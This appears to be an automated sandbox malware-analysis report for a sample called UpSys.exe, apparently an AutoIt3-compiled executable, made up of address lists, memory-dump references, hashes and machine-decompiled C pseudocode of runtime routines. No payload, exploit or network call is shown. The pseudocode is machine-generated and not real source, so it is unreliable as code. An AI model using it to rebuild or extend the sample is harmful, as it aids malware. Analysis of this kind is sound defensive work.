                                                                                                                                                                                                        0x140061af5
                                                                                                                                                                                                        0x140061b11
                                                                                                                                                                                                        0x140061b15
                                                                                                                                                                                                        0x140061b28
                                                                                                                                                                                                        0x140061b3b
                                                                                                                                                                                                        0x140061b4e
                                                                                                                                                                                                        0x140061b5e
                                                                                                                                                                                                        0x140061b72
                                                                                                                                                                                                        0x140061b7d
                                                                                                                                                                                                        0x140061b82
                                                                                                                                                                                                        0x140061b98
                                                                                                                                                                                                        0x140061ba2
                                                                                                                                                                                                        0x140061ba8
                                                                                                                                                                                                        0x140061bab
                                                                                                                                                                                                        0x140061bb4
                                                                                                                                                                                                        0x140061bbb
                                                                                                                                                                                                        0x140061bda
                                                                                                                                                                                                        0x140061be5
                                                                                                                                                                                                        0x140061bf1
                                                                                                                                                                                                        0x140061bf7
                                                                                                                                                                                                        0x140061bfc
                                                                                                                                                                                                        0x140061bff
                                                                                                                                                                                                        0x140061c09
                                                                                                                                                                                                        0x140061c18
                                                                                                                                                                                                        0x140061c1b
                                                                                                                                                                                                        0x140061c23
                                                                                                                                                                                                        0x140061c37
                                                                                                                                                                                                        0x140061c3f
                                                                                                                                                                                                        0x140061c56
                                                                                                                                                                                                        0x140061c5f
                                                                                                                                                                                                        0x140061c66
                                                                                                                                                                                                        0x140061c73
                                                                                                                                                                                                        0x140061c85
                                                                                                                                                                                                        0x140061c8a
                                                                                                                                                                                                        0x140061c8f
                                                                                                                                                                                                        0x140061c93
                                                                                                                                                                                                        0x140061c97
                                                                                                                                                                                                        0x140061c9b
                                                                                                                                                                                                        0x140061ca0
                                                                                                                                                                                                        0x140061ca8
                                                                                                                                                                                                        0x140061cb0
                                                                                                                                                                                                        0x140061cb8
                                                                                                                                                                                                        0x140061cc0
                                                                                                                                                                                                        0x140061cc4
                                                                                                                                                                                                        0x140061cc8
                                                                                                                                                                                                        0x140061cd8
                                                                                                                                                                                                        0x140061ce2
                                                                                                                                                                                                        0x140061ce9
                                                                                                                                                                                                        0x140061cf0
                                                                                                                                                                                                        0x140061cfa
                                                                                                                                                                                                        0x140061d08
                                                                                                                                                                                                        0x140061d17
                                                                                                                                                                                                        0x140061d1f
                                                                                                                                                                                                        0x140061d29
                                                                                                                                                                                                        0x140061d3f
                                                                                                                                                                                                        0x140061d60

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _fread_nolock$DeleteFile_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2242561482-0
                                                                                                                                                                                                        • Opcode ID: ce345ca2c6e63cb13cc840a9e4e2b5d895221fde9f57d37948083e2053419cee
                                                                                                                                                                                                        • Instruction ID: 23c12b5e610904efeef4bf6d199f4d42464ee0101781e4c50f12de56c10c9889
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ce345ca2c6e63cb13cc840a9e4e2b5d895221fde9f57d37948083e2053419cee
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 49B17872218AC591EA21DF12E8407DEB361F7C8BC8F945406FB8947AAADF78C548CB44
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140025520 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 89COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 70%
                                                                                                                                                                                                        			E00000001140025520(void* __ebx, signed int __ecx, void* __edx, void* __esi, signed int* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __rbp, void* __r8, signed int _a8, long long _a16, long long _a24) {
				long long _v56;
				void* __rdi;
				void* __r12;
				signed int _t26;
				void* _t34;
				signed int _t49;
				void* _t55;
				signed int* _t59;
				signed int* _t60;
				long long _t66;
				signed long long _t69;
				void* _t76;
				signed long long _t78;

				_t75 = __r8;
				_t71 = __rbp;
				_t65 = __rdx;
				_t64 = __rcx;
				_t34 = __ebx;
				_a16 = __rbx;
				_a24 = __rsi;
				_a8 = __ecx;
				r12d = r8d;
				r13d = __edx;
				_t62 = __ecx;
				if (__ebx != 0xfffffffe) goto 0x40025565;
				E0000000114001EB04(__ebx - 0xfffffffe, __rax);
				 *__rax = 0;
				E0000000114001EAE4(__ebx - 0xfffffffe, __rax);
				 *__rax = 9;
				goto 0x40025639;
				if (__ebx < 0) goto 0x40025610;
				_t55 = _t34 -  *0x400c88bc; // 0x20
				if (_t55 >= 0) goto 0x40025610;
				_t78 = __ecx >> 5;
				_t69 = __ecx * 0x58;
				_t59 =  *((intOrPtr*)(0x400c88c0 + _t78 * 8));
				if (_t55 != 0) goto 0x400255cc;
				E0000000114001EB04(_t55, _t59);
				 *_t59 = 0;
				E0000000114001EAE4(_t55, _t59);
				 *_t59 = 9;
				_v56 = _t66;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(_t59, __ecx, __rcx, __rdx, _t69, __rbp, __r8);
				goto 0x40025639;
				E00000001140022130(_t34, _t34, _t62, _t66, _t69, _t76);
				_t60 =  *((intOrPtr*)(0x400c88c0 + _t78 * 8));
				_t56 =  *(_t60 + _t69 + 8) & 0x00000001;
				if (( *(_t60 + _t69 + 8) & 0x00000001) == 0) goto 0x400255f0;
				r8d = r12d;
				_t26 = E00000001140025488(_t34, _t34, r13d,  *(_t60 + _t69 + 8) & 0x00000001, _t60, _t62, _t69, _t71, _t75); // executed
				_t49 = _t26;
				goto 0x40025605;
				E0000000114001EAE4( *(_t60 + _t69 + 8) & 0x00000001, _t60);
				 *_t60 = 9;
				E0000000114001EB04( *(_t60 + _t69 + 8) & 0x00000001, _t60);
				 *_t60 = _t49;
				E000000011400221D8();
				goto 0x40025639;
				E0000000114001EB04(_t56, _t60);
				 *_t60 = _t49 | 0xffffffff;
				E0000000114001EAE4(_t56, _t60);
				 *_t60 = 9;
				_v56 = _t66;
				r9d = 0;
				r8d = 0;
				return E0000000114001EA14(_t60, _t62, _t64, _t65, _t69, _t71, _t75) | 0xffffffff;
			}
















                                                                                                                                                                                                        0x140025520
                                                                                                                                                                                                        0x140025520
                                                                                                                                                                                                        0x140025520
                                                                                                                                                                                                        0x140025520
                                                                                                                                                                                                        0x140025520
                                                                                                                                                                                                        0x140025520
                                                                                                                                                                                                        0x140025525
                                                                                                                                                                                                        0x14002552a
                                                                                                                                                                                                        0x14002553b
                                                                                                                                                                                                        0x14002553e
                                                                                                                                                                                                        0x140025541
                                                                                                                                                                                                        0x140025547
                                                                                                                                                                                                        0x140025549
                                                                                                                                                                                                        0x140025550
                                                                                                                                                                                                        0x140025552
                                                                                                                                                                                                        0x140025557
                                                                                                                                                                                                        0x140025560
                                                                                                                                                                                                        0x140025569
                                                                                                                                                                                                        0x14002556f
                                                                                                                                                                                                        0x140025575
                                                                                                                                                                                                        0x140025581
                                                                                                                                                                                                        0x14002558f
                                                                                                                                                                                                        0x140025593
                                                                                                                                                                                                        0x14002559f
                                                                                                                                                                                                        0x1400255a1
                                                                                                                                                                                                        0x1400255a6
                                                                                                                                                                                                        0x1400255a8
                                                                                                                                                                                                        0x1400255ad
                                                                                                                                                                                                        0x1400255b3
                                                                                                                                                                                                        0x1400255b8
                                                                                                                                                                                                        0x1400255bb
                                                                                                                                                                                                        0x1400255c2
                                                                                                                                                                                                        0x1400255ca
                                                                                                                                                                                                        0x1400255ce
                                                                                                                                                                                                        0x1400255d4
                                                                                                                                                                                                        0x1400255d8
                                                                                                                                                                                                        0x1400255dd
                                                                                                                                                                                                        0x1400255df
                                                                                                                                                                                                        0x1400255e7
                                                                                                                                                                                                        0x1400255ec
                                                                                                                                                                                                        0x1400255ee
                                                                                                                                                                                                        0x1400255f0
                                                                                                                                                                                                        0x1400255f5
                                                                                                                                                                                                        0x1400255fb
                                                                                                                                                                                                        0x140025600
                                                                                                                                                                                                        0x140025607
                                                                                                                                                                                                        0x14002560e
                                                                                                                                                                                                        0x140025610
                                                                                                                                                                                                        0x140025615
                                                                                                                                                                                                        0x140025617
                                                                                                                                                                                                        0x14002561c
                                                                                                                                                                                                        0x140025622
                                                                                                                                                                                                        0x140025627
                                                                                                                                                                                                        0x14002562a
                                                                                                                                                                                                        0x140025650

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __doserrno_errno
                                                                                                                                                                                                        • String ID: C:\ProgramData\UpSys.exe
                                                                                                                                                                                                        • API String ID: 921712934-3875041276
                                                                                                                                                                                                        • Opcode ID: c1ad0cd19d1376115a8e2ca23ca6113ab09c2133700af16d5cfb19d6ef2a4a65
                                                                                                                                                                                                        • Instruction ID: a2e8484998671f7d07ed690f80329ef01ed92c9dea413e9ca34c1932b2c4e2e8
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c1ad0cd19d1376115a8e2ca23ca6113ab09c2133700af16d5cfb19d6ef2a4a65
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7031D13261069086F717AF27A8457AE7651BB887E0F958619BF250B7F2CF39C802CB15
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140015A40 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 72windowregistryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                                                                                                                                                        • String ID: #$AutoIt v3$P
                                                                                                                                                                                                        • API String ID: 423443420-3419303329
                                                                                                                                                                                                        • Opcode ID: 60ac4fc9f7119534fc47dfc5c5e3afd6eac9687528fc2c30e70dec938b121ac0
                                                                                                                                                                                                        • Instruction ID: 482d3b10435aacb147a3679187d5ccc24c3853eaf06390b6f5f35e8cf6acf873
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 60ac4fc9f7119534fc47dfc5c5e3afd6eac9687528fc2c30e70dec938b121ac0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FD412236218B4186E7529F56F88078A77A8F38CBD1F50002AEB8D07B78CB7DC8858B40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400021D0 Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 213COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 70%
                                                                                                                                                                                                        			E000000011400021D0(void* __edx, intOrPtr* __rax, long long __rbx, void* __rdx, long long __rbp, char _a8, long long _a16, char _a24, long long _a32) {
				void* _v24;
				intOrPtr _v48;
				char _v96;
				char _v104;
				intOrPtr _v128;
				char _v136;
				char _v168;
				char _v184;
				void* __rdi;
				void* __rsi;
				signed char _t53;
				void* _t60;
				void* _t72;
				void* _t79;
				intOrPtr _t89;
				void* _t93;
				void* _t94;
				void* _t95;
				intOrPtr _t101;
				intOrPtr* _t105;
				intOrPtr* _t110;
				char* _t162;
				void* _t165;
				void* _t166;
				void* _t173;
				char* _t178;
				void* _t181;
				void* _t182;
				void* _t183;

				_t167 = __rbp;
				_t105 = __rax;
				_a16 = __rbx;
				_a32 = __rbp;
				_t107 = __rdx;
				E000000011400130E0(__rax, __rdx,  &_v104);
				_a8 = 0;
				E00000001140003100(__edx, _t105, __rdx,  &_v104, __rdx, _t166, __rbp, _t173);
				r8d = 0x104;
				GetModuleFileNameW(??, ??, ??);
				_t53 = E00000001140015120(_t93, 0x400c5f70); // executed
				 *0x400c5f40 = 0x400c5f70;
				E00000001140015590(_t105, _t107,  &_v136,  &_v96);
				E00000001140001D30(_t105, _t107,  &_v168, L"CMDLINERAW");
				_t94 =  *0x400c69e8 - _t166; // 0x0
				if (_t94 != 0) goto 0x40034e20;
				r9d = 1;
				E00000001140002610(E0000000114000F9E0(0, _t105, _t107, 0x400c69c8,  &_v168, _t167,  &_v136, _t181, _t182, _t183), _t107,  &_v168);
				E00000001140007A40(_t107,  &_v136, _t166);
				_v128 = 1;
				_v136 = 0;
				E00000001140001D30(_t105, _t107,  &_v168, L"CMDLINE");
				_t95 =  *0x400c69e8 - _t166; // 0x0
				if (_t95 != 0) goto 0x40034e34;
				r9d = 0x100; // executed
				_t60 = E0000000114000F9E0(0, _t105, _t107, 0x400c69c8,  &_v168, _t167,  &_v136, _t181, _t182, _t183); // executed
				E00000001140002610(_t60, _t107,  &_v168);
				E00000001140001D30(_t105, _t107,  &_v168, L"CMDLINE");
				_t178 =  &_a8;
				_v184 = 0;
				E00000001140002610(E00000001140010580(_t107,  &_v168, _t166,  &_a24, _t178), _t107,  &_v168);
				E00000001140001E60(E0000000114000FD50(_t105, _t107,  &_v168),  &_v104,  &_v168);
				if (E00000001140016D8C(_t105, L"/ErrorStdOut", _v168) == 0) goto 0x40034e48;
				if (E00000001140016D8C(_t105, L"/AutoIt3OutputDebug", _v168) == 0) goto 0x40034e6a;
				if (E00000001140016D8C(_t105, L"/AutoIt3ExecuteLine", _v168) == 0) goto 0x40034e8c;
				if (E00000001140016D8C(_t105, L"/AutoIt3ExecuteScript", _v168) != 0) goto 0x400023f0;
				if (bpl != 0) goto 0x40034eee;
				 *0x400c5f48 = 3;
				E00000001140001E60(_t70,  &_v104,  &_v168);
				_t72 = E00000001140016E4C(0x400c5f70, _v168);
				_t162 =  &_v168;
				_t89 = _v48 - 2;
				E00000001140001E60(_t72,  &_v104, _t162);
				_t101 =  *0x400c5f70; // 0x43
				if (_t101 == 0) goto 0x40034ef9;
				if (_t89 < 0) goto 0x40034f1b;
				r8d = _t165 + 1;
				E00000001140012B40(1, _a24, _t162, _t166,  &_a24, _t178);
				r9d = 0;
				_t38 = _t178 + 1; // 0x1
				r8d = _t38;
				E00000001140011400(0, _v168, _a24, _t165, _t166, _t178);
				_t110 = _t105;
				E00000001140007A40(_t110, _t105, _t166);
				 *((intOrPtr*)(_t110 + 8)) = 1;
				 *_t110 = _t89;
				if (_t89 <= 0) goto 0x4000247a;
				_t40 = _t162 + 1; // 0x1
				r8d = _t40;
				r9d = 1;
				E00000001140011400(0, _t110, _a24, _t165, _t166, _t178);
				_t79 = E00000001140001E60(E00000001140013120(_t105, _t110, _t105,  &_v168),  &_v104,  &_v168);
				if (1 - _t89 < 0) goto 0x40002447;
				E00000001140002610(_t79, _t110,  &_v168);
				E00000001140007A40(_t110,  &_v136, _t166);
				return E00000001140012380(0, 0, _t53 & 0x000000ff, _t105, _t110,  &_v104,  &_v168,  &_a24, _t178);
			}
































                                                                                                                                                                                                        0x1400021d0
                                                                                                                                                                                                        0x1400021d0
                                                                                                                                                                                                        0x1400021d0
                                                                                                                                                                                                        0x1400021d5
                                                                                                                                                                                                        0x1400021ea
                                                                                                                                                                                                        0x1400021ed
                                                                                                                                                                                                        0x1400021fc
                                                                                                                                                                                                        0x140002203
                                                                                                                                                                                                        0x14000220f
                                                                                                                                                                                                        0x14000221a
                                                                                                                                                                                                        0x140002231
                                                                                                                                                                                                        0x140002243
                                                                                                                                                                                                        0x14000224a
                                                                                                                                                                                                        0x14000225b
                                                                                                                                                                                                        0x140002260
                                                                                                                                                                                                        0x140002267
                                                                                                                                                                                                        0x14000227e
                                                                                                                                                                                                        0x14000228e
                                                                                                                                                                                                        0x140002298
                                                                                                                                                                                                        0x1400022a9
                                                                                                                                                                                                        0x1400022b1
                                                                                                                                                                                                        0x1400022b5
                                                                                                                                                                                                        0x1400022ba
                                                                                                                                                                                                        0x1400022c1
                                                                                                                                                                                                        0x1400022d8
                                                                                                                                                                                                        0x1400022de
                                                                                                                                                                                                        0x1400022e8
                                                                                                                                                                                                        0x1400022f9
                                                                                                                                                                                                        0x1400022fe
                                                                                                                                                                                                        0x14000231a
                                                                                                                                                                                                        0x140002328
                                                                                                                                                                                                        0x140002348
                                                                                                                                                                                                        0x140002363
                                                                                                                                                                                                        0x14000237a
                                                                                                                                                                                                        0x140002391
                                                                                                                                                                                                        0x1400023a8
                                                                                                                                                                                                        0x1400023ad
                                                                                                                                                                                                        0x1400023b3
                                                                                                                                                                                                        0x1400023c7
                                                                                                                                                                                                        0x1400023d4
                                                                                                                                                                                                        0x1400023d9
                                                                                                                                                                                                        0x1400023e3
                                                                                                                                                                                                        0x1400023e6
                                                                                                                                                                                                        0x1400023f0
                                                                                                                                                                                                        0x1400023f7
                                                                                                                                                                                                        0x1400023ff
                                                                                                                                                                                                        0x14000240d
                                                                                                                                                                                                        0x140002419
                                                                                                                                                                                                        0x14000241e
                                                                                                                                                                                                        0x140002423
                                                                                                                                                                                                        0x140002423
                                                                                                                                                                                                        0x14000242a
                                                                                                                                                                                                        0x140002432
                                                                                                                                                                                                        0x140002435
                                                                                                                                                                                                        0x14000243a
                                                                                                                                                                                                        0x140002441
                                                                                                                                                                                                        0x140002445
                                                                                                                                                                                                        0x14000244e
                                                                                                                                                                                                        0x14000244e
                                                                                                                                                                                                        0x140002452
                                                                                                                                                                                                        0x140002455
                                                                                                                                                                                                        0x140002471
                                                                                                                                                                                                        0x140002478
                                                                                                                                                                                                        0x14000247f
                                                                                                                                                                                                        0x140002489
                                                                                                                                                                                                        0x1400024af

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FileModuleName$_errno
                                                                                                                                                                                                        • String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$C:\ProgramData\UpSys.exe$CMDLINE$CMDLINERAW
                                                                                                                                                                                                        • API String ID: 3464838693-769170703
                                                                                                                                                                                                        • Opcode ID: d39e6541790d668109ec38cc9b8576620397685c8d1a7ab2f2e27d3c4815222a
                                                                                                                                                                                                        • Instruction ID: 237dfd5268c2e48474988684763e71144aa1abf146549de2fee32424af8c856d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d39e6541790d668109ec38cc9b8576620397685c8d1a7ab2f2e27d3c4815222a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C8A16E72228A8192EB52EB26F4517DEA365F79C7C0F801012FB4A475BADF7DC549CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140001F00 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 203COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 60%
                                                                                                                                                                                                        			E00000001140001F00(long long __rbx, void* __rcx, long long __rbp, void* __r8, void* __r9, long long _a8, long long _a16, long long _a24) {
				void* __rsi;
				void* _t80;
				void* _t92;
				void* _t95;
				void* _t96;
				long long _t119;
				void* _t153;
				intOrPtr _t155;
				char* _t156;
				WCHAR* _t157;
				void* _t158;
				void* _t162;
				WCHAR* _t176;

				_t118 = __rbx;
				_a16 = __rbx;
				_a24 = __rbp;
				_t158 = __rcx;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(__rcx - 0x828)) + 4)) + __rcx - 0x828)) = 0x400a1478;
				_t155 =  *((intOrPtr*)( *((intOrPtr*)(__rcx - 0x828)) + 4));
				r8d = _t155 - 0x828;
				 *((intOrPtr*)(_t155 + __rcx - 0x82c)) = r8d;
				if ( *((intOrPtr*)(__rcx - 0x678)) != 0) goto 0x40032f80;
				r9d = 0;
				r8d = 0;
				mciSendStringW(_t176, _t157);
				r12d = 0;
				if ( *((intOrPtr*)(__rcx - 0x520)) - _t176 > 0) goto 0x40032f8c;
				if ( *((intOrPtr*)(__rcx - 0x580)) - _t176 > 0) goto 0x40032fdf;
				if ( *((intOrPtr*)(__rcx - 0x560)) - _t176 > 0) goto 0x40033055;
				if ( *((intOrPtr*)(__rcx - 0x540)) - _t176 > 0) goto 0x40033082;
				E00000001140007A40(__rbx, __rcx - 0x510, _t162, _t162);
				 *((intOrPtr*)(__rcx - 0x508)) = 1;
				 *((intOrPtr*)(__rcx - 0x510)) = r12d;
				E00000001140007A40(_t118, __rcx - 0x20, _t162);
				 *((intOrPtr*)(__rcx - 0x18)) = 1;
				 *((intOrPtr*)(__rcx - 0x20)) = r12d;
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__rcx - 0x828)) + 4)) + __rcx - 0x820)) == _t176) goto 0x40002035;
				_a8 = r12d;
				_t156 =  &_a8;
				r8d = 0;
				E00000001140001EB0( *((intOrPtr*)( *((intOrPtr*)(__rcx - 0x828)) + 4)) + __rcx, _t118,  *((intOrPtr*)( *((intOrPtr*)(__rcx - 0x828)) + 4)) + __rcx - 0x828, _t156, _t162);
				E00000001140011F90(_t118,  *((intOrPtr*)( *((intOrPtr*)(_t158 - 0x828)) + 4)) + _t158 - 0x820, _t162);
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t158 - 0x828)) + 4)) + _t158 - 0x820)) != _t176) goto 0x40001ff2;
				E00000001140012DD0(_t118, _t158 - 0x828); // executed
				if ( *((intOrPtr*)(_t158 - 0x38)) != 0) goto 0x400330d8;
				E00000001140007A40(_t118, _t158 - 0x20, _t162);
				E000000011400155F0(_t158 - 0x50);
				E00000001140002610(E00000001140015610(_t158 - 0x70), _t118, _t158 - 0xa8);
				E00000001140001320(_t118, _t158 - 0x2f0, _t156);
				E00000001140015720(_t158 - 0x320);
				_t80 = E00000001140001220(_t158 - 0x4d8); // executed
				E00000001140002610(_t80, _t118, _t158 - 0x4f8);
				E00000001140007A40(_t118, _t158 - 0x510, _t162);
				E00000001140015720(_t158 - 0x530);
				E00000001140015720(_t158 - 0x550);
				E00000001140015720(_t158 - 0x570); // executed
				E00000001140015680(E00000001140002610(E000000011400156C0(E00000001140015700(E00000001140015720(_t158 - 0x590), _t158 - 0x5a8), _t118, _t158 - 0x5c8, _t162), _t118, _t158 - 0x5e8), _t158 - 0x610); // executed
				E00000001140012E90(_t158 - 0x628);
				_t92 = E00000001140012E90(_t158 - 0x640); // executed
				_t95 = E00000001140002610(E00000001140002610(E00000001140002610(_t92, _t118, _t158 - 0x698), _t118, _t158 - 0x6b8), _t118, _t158 - 0x6d8);
				_t153 = _t158 - 0x718;
				_t119 = _a16;
				_pop(_t159);
				goto E00000001140001100;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_a8 = _t119;
				_t96 = E000000011400032E0(_t95, _t153);
				if (_t156 -  *((intOrPtr*)(_t153 + 8)) >= 0) goto 0x40032d50;
				return _t96;
			}
















                                                                                                                                                                                                        0x140001f00
                                                                                                                                                                                                        0x140001f00
                                                                                                                                                                                                        0x140001f05
                                                                                                                                                                                                        0x140001f19
                                                                                                                                                                                                        0x140001f27
                                                                                                                                                                                                        0x140001f36
                                                                                                                                                                                                        0x140001f3a
                                                                                                                                                                                                        0x140001f41
                                                                                                                                                                                                        0x140001f53
                                                                                                                                                                                                        0x140001f60
                                                                                                                                                                                                        0x140001f63
                                                                                                                                                                                                        0x140001f68
                                                                                                                                                                                                        0x140001f6e
                                                                                                                                                                                                        0x140001f78
                                                                                                                                                                                                        0x140001f85
                                                                                                                                                                                                        0x140001f92
                                                                                                                                                                                                        0x140001f9f
                                                                                                                                                                                                        0x140001fac
                                                                                                                                                                                                        0x140001fb5
                                                                                                                                                                                                        0x140001fbf
                                                                                                                                                                                                        0x140001fc6
                                                                                                                                                                                                        0x140001fcb
                                                                                                                                                                                                        0x140001fd2
                                                                                                                                                                                                        0x140001feb
                                                                                                                                                                                                        0x140001fed
                                                                                                                                                                                                        0x140001ff9
                                                                                                                                                                                                        0x140001ffe
                                                                                                                                                                                                        0x140002001
                                                                                                                                                                                                        0x140002019
                                                                                                                                                                                                        0x140002033
                                                                                                                                                                                                        0x14000203c
                                                                                                                                                                                                        0x140002048
                                                                                                                                                                                                        0x140002052
                                                                                                                                                                                                        0x14000205b
                                                                                                                                                                                                        0x140002070
                                                                                                                                                                                                        0x14000207c
                                                                                                                                                                                                        0x140002088
                                                                                                                                                                                                        0x140002094
                                                                                                                                                                                                        0x1400020a0
                                                                                                                                                                                                        0x1400020ac
                                                                                                                                                                                                        0x1400020b8
                                                                                                                                                                                                        0x1400020c4
                                                                                                                                                                                                        0x1400020d0
